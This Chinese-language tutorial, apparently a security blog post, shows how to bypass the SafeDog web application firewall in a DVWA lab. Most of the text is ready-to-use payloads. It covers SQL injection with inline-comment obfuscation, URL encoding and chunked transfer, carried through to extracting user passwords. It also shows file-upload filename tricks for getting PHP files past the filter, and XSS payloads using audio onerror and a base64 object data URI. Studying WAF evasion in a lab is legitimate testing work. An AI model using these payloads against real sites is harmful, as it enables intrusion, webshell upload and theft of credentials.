测试环境:
PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.30255)
靶场使用DVWA:http://www.dvwa.co.uk/
SQL注入
一、判断是否存在注入
我们利用最简单的报错判断是否存在注入
http://192.168.40.129/vulnerabilities/sqli/?id=1'
绕过方法之一:编码
1、利用常规的and 1=1
发现被拦截
2、而单独的and
是不拦截的
3、and
后面加数字或者字符的表达式会被匹配拦截,1=1
,1=2
的本质是构造一个真值、假值,我们可以直接用True
、False
代替,发现依旧被拦截
4、我们想到and
可以用&&
代替,发现还是被拦截
5、再换个思路,我把and
换成&&
不行,但url传递时居然会把&&
转换成%26%26
,那我可以不可以直接用%26%26
,尝试发现可以绕过
绕过方法之二:MySQL内联注释
1、将and
后面的数字或者字符表达式加几个内联注释也可以绕过,如:
1' /*%!"/*/and/*%!"/*/1=1 -- +
绕过方法之三:分块传输
github已有大佬写出Burp插件,分块传输,Github地址:
https://github.com/c0ny1/chunked-coding-converter
1、具体方法如下图所示:
2、正常写测试的payload:1' and 1=1 -- +
3、将请求方式改为POST
4、然后进行分块传输编码
5、可以看到没有被拦截,如下:
二、猜解字段数
方法一 :order by
被拦截
1、单独的order
和单独的by
都不会被拦截
2、我们需要在order by
之间加各种无效字符,只是简单的/**/
也被过滤了
3、那么就在/**/
中间加干扰,用1/**/and/**/1=1
来进行测试,burp抓包,然后在被过滤的关键字前后加注释,注释中间用§ §
来进行爆破定点,配置如下
4、字符集设置一些字符数字字母随机组合干扰
5、然后进行爆破
6、此处采用/*%!"/*/
来进行内联注释的干扰
7、由此看出,此时and
并没有被waf黑名单检测到,然后进行order by
查询
8、此处采用1'/*%''/*/order/*//*/by/*//*/3 -- +
进行查询
方法二:分块传输
1、构造正常查询的payload1' order by 3 -- +
然后执行分块传输
三、获取当前数据库
方法一
1、1' union select 1,datebase() -- +
被拦截,分开测试 union select 同样被拦截
2、1' database() -- +
也会被拦截
3、先绕过union select
和之前order by
的绕过方法一样
1'/*%!"/*/union/*%!"/*/select 1,2 -- +
4、再绕过database()
经过测试,我们发现单独的database
不会被拦截,加了括号就会了,我将/*%!"/*/
放到括号内部发现可以绕过
1'/*%!"/*/union/*%!"/*/select database(/*%!"/*/),2 -- +
方法二
1、构造正常查询的payload1’ union select database(),2 -- +
然后进行分块传输
四、获取数据库中的表
方法一
1、正常注入语句:
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() -- +
2、根据前面的测试,这个绕过就很简单了,只需要将一个空格地方替换成/*%!"/*/
即可:
1'/*%!"/*/union/*%!"/*/select/*%!"/*/group_concat(table_name),2/*%!"/*/from/*%!"/*/information_schema.tables/*%!"/*/where/*%!"/*/table_schema=database(/*%!"/*/) -- +
方法二
1、构造正常查询的payload1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() -- +
然后进行分块传输
五、获取表中的字段名
方法一
1、正常注入语句:
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' -- +
2、绕过方法和获取表的操作无异:
1'/*%!"/*/union/*%!"/*/select/*%!"/*/group_concat(column_name),2/*%!"/*/from/*%!"/*/information_schema.columns/*%!"/*/where/*%!"/*/table_name='users' -- +
方法二
1、构造正常查询的payload1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' -- +
然后进行分块传输
六、获取数据
方法一
1、正常注入语句:
1' union select group_concat(user),group_concat(password) from users -- +
2、绕过方法还是一样:
1'/*%!"/*/union/*%!"/*/select/*%!"/*/group_concat(user),group_concat(password)/*%!"/*/from/*%!"/*/users/*%!"/*/-- +
方法二
1、构造正常查询的payload1' union select group_concat(user),group_concat(password) from users -- +
然后进行分块传输
文件上传
安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中,就会被拦截。
一、直接上传PHP文件会被拦截
绕过方法一
1、将filename="hhh.php"
改为 filename==="hhh.php"
(2个等号被拦截大于2个等会均可以绕过)
绕过方法二
1、各种换行,主要是要把点号和字符串"php"
分开
绕过方法三
1、多个filename="hhh.txt"
,最后一个filename="hhh.php"
XSS
查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下那些标签没有被过滤即可。
一、标签定义声音,比如音乐或其他音频流
<audio src=1 onerror=prompt('xss')>
二、标签data
属性
alert('xss')
的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
文件包含
一、通过绝对路径、相对路径,稍微加些混淆就能绕过